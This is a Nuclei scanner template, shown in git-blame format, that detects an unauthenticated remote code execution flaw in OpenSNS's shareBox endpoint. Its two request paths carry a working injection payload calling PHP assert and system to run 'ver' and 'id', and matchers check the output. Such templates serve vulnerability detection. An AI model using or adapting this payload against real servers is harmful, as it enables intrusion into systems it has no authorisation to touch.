2021-07-07 09:49:36 +00:00
|
|
|
id: opensns-rce
|
|
|
|
|
|
|
|
info:
|
2022-05-30 14:36:52 +00:00
|
|
|
name: OpenSNS - Remote Code Execution
|
2021-07-07 09:49:36 +00:00
|
|
|
author: gy741
|
|
|
|
severity: critical
|
2022-05-31 09:19:47 +00:00
|
|
|
description: |
|
|
|
|
OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
|
2022-05-30 14:36:52 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-30 14:36:52 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: opensns,rce
|
2021-07-07 09:49:36 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-07 09:49:36 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
|
|
|
|
- '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-07-07 13:00:15 +00:00
|
|
|
- type: regex
|
2022-05-31 09:19:47 +00:00
|
|
|
part: body
|
2021-07-07 13:00:15 +00:00
|
|
|
regex:
|
2024-06-01 08:58:57 +00:00
|
|
|
- "uid=([0-9(a-z)]+)"
|
2021-07-07 09:49:36 +00:00
|
|
|
- "Microsoft Windows"
|
2021-07-07 13:00:15 +00:00
|
|
|
condition: or
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "/Application/"
|
|
|
|
|
2021-07-07 09:49:36 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-06-01 09:07:19 +00:00
|
|
|
# digest: 4a0a004730450221008ed7eddc3dd192dd32c667a6630dcada4e3c410567407417370663b3a74f22b102206b0bcd9cbbb316ecf7faeed8237e696c985e465f3ab03796887fa815b182b308:922c64590222798bb761d5b6d8e72950
|